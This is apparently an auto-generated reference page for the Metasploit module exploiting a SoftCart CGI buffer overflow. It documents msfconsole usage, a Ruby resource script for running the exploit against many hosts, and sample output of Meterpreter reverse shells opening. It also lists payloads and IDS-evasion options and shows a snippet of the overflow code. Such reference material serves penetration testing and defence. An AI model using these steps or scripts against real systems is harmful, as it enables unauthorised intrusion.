Mercantec SoftCart CGI Overflow - Metasploit
This page contains detailed information about how to use the exploit/bsdi/softcart/mercantec_softcart metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mercantec SoftCart CGI Overflow
Module: exploit/bsdi/softcart/mercantec_softcart
Source code: modules/exploits/bsdi/softcart/mercantec_softcart.rb
Disclosure date: 2004-08-19
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): BSDi
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2004-2221
This is an exploit for an undisclosed buffer overflow in the SoftCart.exe CGI as shipped with Mercantec's shopping cart software. It is possible to execute arbitrary code by passing a malformed CGI parameter in an HTTP GET request. This issue is known to affect SoftCart version 4.00b.
Module Ranking and Traits
Module Ranking:
- great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.
Basic Usage
Using mercantec_softcart against a single host
Normally, you can use exploit/bsdi/softcart/mercantec_softcart this way:
msf > use exploit/bsdi/softcart/mercantec_softcart
msf exploit(mercantec_softcart) > show targets
... a list of targets ...
msf exploit(mercantec_softcart) > set TARGET target-id
msf exploit(mercantec_softcart) > show options
... show and set options ...
msf exploit(mercantec_softcart) > exploit
Using mercantec_softcart against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your mercantec_softcart will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/bsdi/softcart/mercantec_softcart")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the bsdi/softcart/mercantec_softcart exploit module looks in the msfconsole:
msf6 > use exploit/bsdi/softcart/mercantec_softcart
[*] No payload configured, defaulting to bsdi/x86/shell/reverse_tcp
msf6 exploit(bsdi/softcart/mercantec_softcart) > show info
Name: Mercantec SoftCart CGI Overflow
Module: exploit/bsdi/softcart/mercantec_softcart
Platform: BSDi
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2004-08-19
Provided by:
skape <[email protected]>
trew
Available targets:
Id Name
-- ----
0 BSDi/4.3 Bruteforce
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /cgi-bin/SoftCart.exe no The target CGI URI
VHOST no HTTP server virtual host
Payload information:
Space: 1000
Avoid: 27 characters
Description:
This is an exploit for an undisclosed buffer overflow in the
SoftCart.exe CGI as shipped with Mercantec's shopping cart software.
It is possible to execute arbitrary code by passing a malformed CGI
parameter in an HTTP GET request. This issue is known to affect
SoftCart version 4.00b.
References:
https://nvd.nist.gov/vuln/detail/CVE-2004-2221
OSVDB (9011)
http://www.securityfocus.com/bid/10926
Module Options
This is a complete list of options available in the bsdi/softcart/mercantec_softcart exploit:
msf6 exploit(bsdi/softcart/mercantec_softcart) > show options
Module options (exploit/bsdi/softcart/mercantec_softcart):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /cgi-bin/SoftCart.exe no The target CGI URI
VHOST no HTTP server virtual host
Payload options (bsdi/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 BSDi/4.3 Bruteforce
Advanced Options
Here is a complete list of advanced options supported by the bsdi/softcart/mercantec_softcart exploit:
msf6 exploit(bsdi/softcart/mercantec_softcart) > show advanced
Module advanced options (exploit/bsdi/softcart/mercantec_softcart):
Name Current Setting Required Description
---- --------------- -------- -----------
BruteStep no Step size between brute force attempts
BruteWait no Delay between brute force attempts
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (bsdi/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the bsdi/softcart/mercantec_softcart module can exploit:
msf6 exploit(bsdi/softcart/mercantec_softcart) > show targets
Exploit targets:
Id Name
-- ----
0 BSDi/4.3 Bruteforce
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the bsdi/softcart/mercantec_softcart exploit:
msf6 exploit(bsdi/softcart/mercantec_softcart) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsdi/x86/shell/bind_tcp normal No BSDi Command Shell, Bind TCP Stager
1 payload/bsdi/x86/shell/reverse_tcp normal No BSDi Command Shell, Reverse TCP Stager
2 payload/bsdi/x86/shell_bind_tcp normal No BSDi Command Shell, Bind TCP Inline
3 payload/bsdi/x86/shell_reverse_tcp normal No BSDi Command Shell, Reverse TCP Inline
4 payload/generic/custom normal No Custom Payload
5 payload/generic/debug_trap normal No Generic x86 Debug Trap
6 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
7 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
8 payload/generic/tight_loop normal No Generic x86 Tight Loop
Evasion Options
Here is the full list of possible evasion options supported by the bsdi/softcart/mercantec_softcart exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(bsdi/softcart/mercantec_softcart) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target is not a Mercantec CGI
Here is a relevant code snippet related to the "The target is not a Mercantec CGI" error message:
64: if not (@mercantec)
65: res = send_request_raw({
66: 'uri' => normalize_uri(datastore['URI'])
67: }, 5)
68: @mercantec = (res and res.body and res.body =~ /Copyright.*Mercantec/)
69: fail_with(Failure::NotFound, "The target is not a Mercantec CGI") if not @mercantec
70: end
71:
72: buffer =
73: "MAA+scstoreB" +
74: rand_text_alphanumeric(512) +
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
- #1047 Merged Pull Request: Set normalize uri on modules
References
- CVE-2004-2221
- OSVDB (9011)
- BID-10926
See Also
Check also the following modules related to this module:
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
- skape
- trew
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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